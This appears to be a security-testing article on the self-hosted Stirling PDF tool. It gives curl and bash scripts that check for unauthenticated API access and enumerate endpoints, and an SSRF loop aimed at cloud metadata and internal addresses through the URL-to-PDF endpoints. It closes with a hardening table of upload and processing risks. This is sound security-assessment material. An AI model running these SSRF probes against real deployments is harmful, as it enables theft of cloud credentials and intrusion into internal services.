Self-Hosted PDF Tool Security

Stirling PDF Security Testing: File Upload, Server-Side Processing, Script Injection, and No-Auth Default

📅 July 3, 2026 ⏱ 12 min read 🏷 Stirling PDF, PDF Tool Security, File Upload Security, Server-Side Processing, SSRF, LibreOffice Security

Unauthenticated API Access

# Stirling PDF — no authentication by default (SECURITY_ENABLE_LOGIN=false)
STIRLING_URL="https://pdf.example.com"

# Check if authentication is required
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "${STIRLING_URL}/api/v1/info" 2>/dev/null)
echo "API info status (no auth): ${STATUS}"

# Get server information without credentials
curl -s "${STIRLING_URL}/api/v1/info" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'App name: {d.get(\"appName\")}')
    print(f'Version: {d.get(\"version\")}')
    print(f'Security enabled: {d.get(\"loginEnabled\",False)}')
except: pass
" 2>/dev/null

# Test unrestricted API access — merge PDFs without authentication
curl -s -X POST "${STIRLING_URL}/api/v1/general/merge-pdfs" \
  -F "fileInput=@/tmp/test.pdf" \
  -o /tmp/merged_test.pdf 2>/dev/null
echo "Merge test HTTP status: $?"

# List available endpoints (all accessible without auth when security disabled)
curl -s "${STIRLING_URL}/v3/api-docs" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    paths = list(d.get('paths',{}).keys())
    print(f'API endpoints: {len(paths)}')
    for p in paths[:15]:
        print(f'  {p}')
except: pass
" 2>/dev/null

HTML-to-PDF SSRF

# Stirling PDF HTML-to-PDF conversion — server fetches URL or renders HTML
# SSRF via URL parameter in conversion endpoint

STIRLING_URL="https://pdf.example.com"

# Test SSRF via HTML-to-PDF with URL parameter
# Stirling PDF server fetches the URL and renders it as a PDF
SSRF_TARGETS=(
  "http://169.254.169.254/latest/meta-data/"
  "http://metadata.google.internal/computeMetadata/v1/"
  "http://127.0.0.1:8080/"
  "http://10.0.0.1/"
)

for TARGET in "${SSRF_TARGETS[@]}"; do
  echo "Testing SSRF: ${TARGET}"
  # Submit URL for HTML-to-PDF conversion
  curl -s -X POST "${STIRLING_URL}/api/v1/convert/html/pdf" \
    -H "Content-Type: application/json" \
    -d "{\"fileInput\": \"${TARGET}\"}" \
    -o /dev/null -w "%{http_code}\n" 2>/dev/null

  # Some versions accept a URL parameter directly
  curl -s -X POST "${STIRLING_URL}/api/v1/convert/url/pdf" \
    -F "urlInput=${TARGET}" \
    -o /dev/null -w "%{http_code}\n" 2>/dev/null
done

Stirling PDF Security Hardening

Security Test	Method	Risk
No authentication required for all PDF operations	POST /api/v1/general/merge-pdfs without credentials — all 50+ PDF operations accessible to any user when SECURITY_ENABLE_LOGIN=false (default)	High
HTML-to-PDF SSRF via URL parameter	POST /api/v1/convert/url/pdf with internal URL — Stirling PDF server fetches the URL during conversion enabling SSRF to cloud metadata endpoints and internal services	High
Malicious LibreOffice document upload	Upload crafted DOCX/ODT/ODP file to /api/v1/convert/*/pdf — processed by LibreOffice on the server; targeting LibreOffice vulnerabilities including macro execution in macro-enabled documents	Medium
Ghostscript malicious PDF processing	Upload crafted PDF to compression/optimization endpoints — processed by Ghostscript which has a history of vulnerabilities including path traversal and code execution via specially crafted PostScript/PDF	Medium
API endpoint enumeration via OpenAPI spec	GET /v3/api-docs — returns complete OpenAPI specification of all available endpoints without authentication; reveals all processing operations and their parameters	Low
File upload disclosure via temporary files	Uploaded files are processed in temporary directories; race condition between upload and processing may allow reading other users' uploaded documents in shared hosting scenarios	Low